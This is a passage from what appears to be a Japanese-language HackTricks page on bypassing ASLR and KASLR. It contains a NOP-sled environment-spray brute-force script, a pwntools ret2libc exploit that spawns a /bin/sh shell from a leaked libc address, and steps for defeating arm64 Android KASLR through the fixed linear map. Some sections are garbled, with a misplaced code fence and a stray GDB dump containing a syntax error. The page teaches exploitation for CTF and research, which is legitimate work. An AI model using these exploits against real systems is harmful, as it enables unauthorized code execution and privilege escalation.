Start the process

nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops

Define the environment variables you want to set

env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }

cont = 0 while True: cont += 1

if cont % 10000 == 0: break

print(cont, end=“\r”)

Define the path to your binary

binary_path = ‘./aslr-testing’

try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass

</details>

<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>

### ローカル情報 (`/proc/[pid]/stat`)

プロセスのファイル **`/proc/[pid]/stat`** は常に誰でも読み取り可能で、**次のような興味深い情報** を含んでいます:

- **startcode** & **endcode**: バイナリの **TEXT** セグメントの開始と終了アドレス
- **startstack**: **stack** の開始アドレス
- **start_data** & **end_data**: **BSS** がある領域の開始と終了アドレス
- **kstkesp** & **kstkeip**: 現在の **ESP** と **EIP** のアドレス
- **arg_start** & **arg_end**: **cli arguments** がある領域の開始と終了アドレス
- **env_start** &**env_end**: **env variables** がある領域の開始と終了アドレス

したがって、攻撃者が脆弱なバイナリと同じコンピュータ上にいて、そのバイナリが生の引数からのオーバーフローではなく **このファイルを読んだ後に作成できる別の入力** からのオーバーフローを想定していない場合、攻撃者はこのファイルからいくつかのアドレスを取得し、それらからエクスプロイト用のオフセットを構築することが可能です。

> [!TIP]
> このファイルの詳細については [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) を参照し、`/proc/pid/stat` を検索してください

### leak がある場合

- **The challenge is giving a leak**

もし leak が与えられる場合（簡単な CTF チャレンジなど）、そこからオフセットを計算できます（例えば、攻撃対象のシステムで使用されている正確な libc バージョンを知っていると仮定した場合）。この例の exploit は [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) から抽出したものです（詳細はそのページを参照してください）:

<details>
<summary>Python exploit with given libc leak</summary>
```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()

 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g 
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```

vDSO
したがって、カーネルが CONFIG_COMPAT_VDSO でコンパイルされている場合、vdso アドレスがランダム化されないため、vdso を悪用して ASLR を回避できる可能性がある点に注意してください。詳しくは以下を参照：
Ret2vDSO
KASLR on ARM64 (Android): bypass via fixed linear map
多くの arm64 Android カーネルでは、kernel linear map (direct map) のベースがブート間で固定されています。物理ページに対するカーネルの VA が予測可能になり、direct map 経由で到達可能なターゲットに対する KASLR が破られます。

For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
PAGE_OFFSET = 0xffffff8000000000
PHYS_OFFSET = memstart_addr (exported symbol)
Translation: virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)

Leaking PHYS_OFFSET (rooted or with a kernel read primitive)

grep memstart /proc/kallsyms で memstart_addr のアドレスを確認
任意の kernel read（例: tracing-BPF helper が BPF_FUNC_probe_read_kernel を呼ぶ等）でそのアドレスから 8 バイト（LE）を読み取る
直接マップ VA を計算: virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)

Exploitation impact

ターゲットが direct map 内、または direct map 経由で到達可能であれば、別個の KASLR leak は不要（例: page tables、あなたが影響を与えたり観測したりできる物理ページ上のカーネルオブジェクトなど）。
arm64 Android 上での信頼できる任意 R/W とカーネルデータのターゲティングが容易になる。

Reproduction summary

grep memstart /proc/kallsyms -> memstart_addr のアドレス
Kernel read -> 8 バイト LE をデコード -> PHYS_OFFSET
PAGE_OFFSET=0xffffff8000000000 を用いて virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET) を計算


Note
tracing-BPF helpers へのアクセスには十分な権限が必要です。PHYS_OFFSET を取得するには、任意の kernel read primitive や info leak があれば十分です。

How it’s fixed

限られたカーネル VA 空間と CONFIG_MEMORY_HOTPLUG による将来の hotplug 用の VA 予約が、linear map をより低い VA に押し下げ（固定ベース化）ます。
Upstream arm64 は linear-map のランダム化を削除しました（commit 1db780bafa4c）。

References

Defeating KASLR by Doing Nothing at All (Project Zero)
arm64: remove linear map randomization (commit 1db780bafa4c)
Tracing BPF arbitrary read helper (Project Zero issue 434208461)


Tip
AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

サブスクリプションプランを確認してください！
**💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。